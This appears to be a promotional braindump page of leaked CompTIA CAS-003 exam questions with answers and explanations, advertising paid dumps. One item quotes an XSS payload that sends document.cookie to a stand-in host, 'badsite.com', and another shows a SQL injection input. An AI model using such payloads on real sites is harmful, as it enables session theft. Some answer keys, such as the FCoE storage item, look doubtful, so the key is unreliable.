[March-2019-New100% Real Exam Questions-Braindump2go CAS-003 Dumps 401Q Download

2019/March Braindump2go CAS-003 Exam Dumps with PDF and VCE New Updated Today! Following are some new CAS-003 Exam Questions:1.|2019 Latest Braindump2go CAS-003 Exam Dumps (PDF & VCE) Instant Download:https://www.braindump2go.com/cas-003.html2.|2019 Latest Braindump2go CAS-003 Exam Questions & Answers Instant Download:https://drive.google.com/drive/folders/11eVcvdRTGUBlESzBX9a6YlPUYiZ4xoHE?usp=sharingNew QuestionA security administrator notices the following line in a server's security log:< input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='**http://badsite.com/?q='document.cooki** e</script>') + "';The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?A. WAFB. Input validationC. SIEMD. SandboxingE. DAMAnswer: AExplanation:The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data. A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.New QuestionCompany policy requires that all company laptops meet the following baseline requirements:Software requirements:AntivirusAnti-malwareAnti-spywareLog monitoringFull-disk encryptionTerminal services enabled for RDP Administrative access for local usersHardware restrictions:Bluetooth disabledFireWire disabledWiFi adapter disabledAnn, a web developer, reports performance issues with her laptop and is not able to access any network resources. After further investigation, a bootkit was discovered and it was trying to access external websites. Which of the following hardening techniques should be applied to mitigate this specific issue from reoccurring? (Select TWO).A. Group policy to limit web accessB. Restrict VPN access for all mobile usersC. Remove full-disk encryptionD. Remove administrative access to local usersE. Restrict/disable TELNET access to network resourcesF. Perform vulnerability scanning on a daily basisG. Restrict/disable USB accessAnswer: DGExplanation:A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or areas of its software that would not otherwise be allowed (for example, to an unauthorized user) while at the same time masking its existence or the existence of other software. A bootkit is similar to a rootkit except the malware infects the master boot record on a hard disk. Malicious software such as bootkits or rootkits typically require administrative privileges to be installed. Therefore, one method of preventing such attacks is to remove administrative access for local users.A common source of malware infections is portable USB flash drives. The flash drives are often plugged into less secure computers such as a user's home computer and then taken to work and plugged in to a work computer. We can prevent this from happening by restricting or disabling access to USB devices.New QuestionA security analyst, Ann, states that she believes Internet facing file transfer servers are being attacked. Which of the following is evidence that would aid Ann in making a case to management that action needs to be taken to safeguard these servers?A. Provide a report of all the IP addresses that are connecting to the systems and their locationsB. Establish alerts at a certain threshold to notify the analyst of high activityC. Provide a report showing the file transfer logs of the serversD. Compare the current activity to the baseline of normal activityAnswer: DExplanation:In risk assessment a baseline forms the foundation for how an organization needs to increase or enhance its current level of security. This type of assessment will provide Ann with the necessary information to take to management.New QuestionThe security engineer receives an incident ticket from the helpdesk stating that DNS lookup requests are no longer working from the office. The network team has ensured that Layer 2 and Layer 3 connectivity are working. Which of the following tools would a security engineer use to make sure the DNS server is listening on port 53?A. PINGB. NESSUSC. NSLOOKUPD. NMAPAnswer: DExplanation:NMAP works as a port scanner and is used to check if the DNS server is listening on port 53.New QuestionA security auditor suspects two employees of having devised a scheme to steal money from the company. While one employee submits purchase orders for personal items, the other employee approves these purchase orders. The auditor has contacted the human resources director with suggestions on how to detect such illegal activities. Which of the following should the human resource director implement to identify the employees involved in these activities and reduce the risk of this activity

occurring in the future?A. Background checksB. Job rotationC. Least privilegeD. Employee termination proceduresAnswer: BExplanation:Job rotation can reduce fraud or misuse by preventing an individual from having too much control over an area.New QuestionA company that must comply with regulations is searching for a laptop encryption product to use for its 40,000 end points. The product must meet regulations but also be flexible enough to minimize overhead and support in regards to password resets and lockouts. Which of the following implementations would BEST meet the needs?A. A partition-based software encryption product with a low-level boot protection and authenticationB. A container-based encryption product that allows the end users to select which files to encryptC. A full-disk hardware-based encryption product with a low-level boot protection and authenticationD. A file-based encryption product using profiles to target areas on the file system to encryptAnswer: DExplanation:The question is asking for a solution that will minimize overhead and support in regards to password resets and lockouts.File based encryption products operate under the context of the computer user's user account. This means that the user does not need to remember a separate password for the encryption software. If the user forgets his user account password or is locked out due to failed login attempts, the support department can reset his password from a central database of user accounts (such as Active Directory) without the need to visit the user's computer.Profiles can be used to determine areas on the file system to encrypt such as Document folders.New QuestionA security analyst has been asked to develop a quantitative risk analysis and risk assessment for the company's online shopping application. Based on heuristic information from the Security Operations Center (SOC), a Denial of Service Attack (DoS) has been successfully executed 5 times a year. The Business Operations department has determined the loss associated to each attack is $40,000. After implementing application caching, the number of DoS attacks was reduced to one time a year. The cost of the countermeasures was $100,000. Which of the following is the monetary value earned during the first year of operation?A. $60,000B. $100,000C. $140,000D. $200,000Answer: AExplanation:ALE before implementing application caching:ALE = ARO x SLEALE = 5 x $40,000ALE = $200,000ALE after implementing application caching:ALE = ARO x SLEALE = 1 x $40,000 ALE = $40,000The monetary value earned would be the sum of subtracting the ALE calculated after implementing application caching and the cost of the countermeasures, from the ALE calculated before implementing application caching.Monetary value earned = $200,000 - $40,000 - $100,000 Monetary value earned = $60,000New QuestionAt 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).A. Add guests with more memory to increase capacity of the infrastructure.B. A backup is running on the thin clients at 9am every morning.C. Install more memory in the thin clients to handle the increased load while booting.D. Booting all the lab desktops at the same time is creating excessive I/O.E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity.F. Install faster SSD drives in the storage system used in the infrastructure.G. The lab desktops are saturating the network while booting.H. The lab desktops are using more memory than is available to the host systems.Answer: DFExplanation:The problem lasts for 10 minutes at 9am every day and has been traced to the lab desktops. This question is asking for the MOST likely cause of the problem. The most likely cause of the problem is that the lab desktops being started at the same time at the beginning of the day is causing excessive disk I/O as the operating systems are being read and loaded from disk storage.The solution is to install faster SSD drives in the storage system that contains the desktop operating systems.New QuestionThe administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?A. The data may not be in a usable format.B. The new storage array is not FCoE based.C. The data may need a file system check.D. The new storage array also only has a single controller.Answer: BExplanation:Fibre Channel over Ethernet (FCoE) is a computer network technology that encapsulates Fibre Channel frames over Ethernet networks. This allows Fibre Channel to use 10 Gigabit Ethernet networks (or higher speeds) while preserving the Fibre Channel protocol. When moving the disks to another storage array, you need to ensure that the array supports FCoE, not just regular Fiber Channel. Fiber Channel arrays and Fiber Channel over Ethernet arrays use different network connections, hardware and protocols. Fiber Channel arrays use the Fiber Channel protocol over a dedicated Fiber Channel network whereas FCoE arrays use the Fiber Channel protocol over an Ethernet network.New Questionselect id, firstname, lastname from authorsUser input= firstname= Hack;manlastname=Johnson Which of the following types of attacks is the user attempting?A. XML injectionB. Command injectionC. Cross-site scripting D. SQL injectionAnswer: DExplanation:The code in the question is SQL code. The attack is a SQL injection attack.SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in

SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.New QuestionA web services company is planning a one-time high-profile event to be hosted on the corporate website. An outage, due to an attack, would be publicly embarrassing, so Joe, the Chief Executive Officer (CEO), has requested that his security engineers put temporary preventive controls in place. Which of the following would MOST appropriately address Joe's concerns?A. Ensure web services hosting the event use TCP cookies and deny_hosts.B. Configure an intrusion prevention system that blocks IPs after detecting too many incomplete sessions.C. Contract and configure scrubbing services with third-party DDoS mitigation providers.D. Purchase additional bandwidth from the company's Internet service provider.Answer: CExplanation:Scrubbing is an excellent way of dealing with this type of situation where the company wants to stay connected no matter what during the one-time high profile event. It involves deploying a multi-layered security approach backed by extensive threat research to defend against a variety of attacks with a guarantee of always-on.!!!RECOMMEND!!!1.|2019 Latest Braindump2go CAS-003 Exam Dumps (PDF & VCE) Instant Download:https://www.braindump2go.com/cas-003.html2.|2019 Latest Braindump2go CAS-003 Study Guide Video Instant Download: YouTube Video: YouTube.com/watch?v=WCO0vTnXfrk